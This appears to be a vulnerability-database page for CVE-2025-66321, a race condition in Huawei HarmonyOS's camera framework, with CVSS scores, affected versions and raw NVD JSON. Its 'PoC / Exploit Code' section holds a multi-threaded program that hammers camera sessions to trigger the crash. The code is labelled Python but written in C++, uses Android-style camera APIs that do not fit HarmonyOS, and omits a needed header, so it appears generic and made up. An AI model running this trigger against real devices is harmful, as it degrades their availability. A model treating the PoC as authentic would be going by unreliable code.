Security Vulnerability Report
中文
CVE-2025-66321 CVSS 5.1 MEDIUM

CVE-2025-66321

Published: 2025-12-08 08:15:53
Last Modified: 2025-12-09 20:29:14

Description

Multi-thread race condition vulnerability in the camera framework module. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:* - VULNERABLE
华为麒麟芯片设备相机框架模块(具体版本需查看华为官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66321 PoC - Race Condition in Camera Framework // This PoC demonstrates triggering race condition in Huawei camera framework // Requires high privileges and local access #include <stdio.h> #include <pthread.h> #include <camera/Camera.h> #include <camera/CameraParameters.h> #define NUM_THREADS 10 #define ITERATIONS 100 void* camera_race_thread(void* arg) { int thread_id = *(int*)arg; // Rapidly open/close camera sessions to trigger race condition for (int i = 0; i < ITERATIONS; i++) { sp<Camera> camera = Camera::connect(thread_id % 2); // Alternate cameras if (camera != NULL) { // Trigger preview callbacks rapidly CameraParameters params = camera->getParameters(); params.setPreviewFormat(CameraParameters::PIXEL_FORMAT_YUV420SP); camera->setParameters(params); camera->startPreview(); // Force context switch to increase race condition probability usleep(1); camera->stopPreview(); camera->disconnect(); } // Yield to other threads sched_yield(); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2025-66321 PoC - Starting race condition trigger\n"); // Create multiple threads to maximize race condition probability for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; pthread_create(&threads[i], NULL, camera_race_thread, &thread_ids[i]); } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66321", "sourceIdentifier": "[email protected]", "published": "2025-12-08T08:15:53.263", "lastModified": "2025-12-09T20:29:13.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multi-thread race condition vulnerability in the camera framework module. Impact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}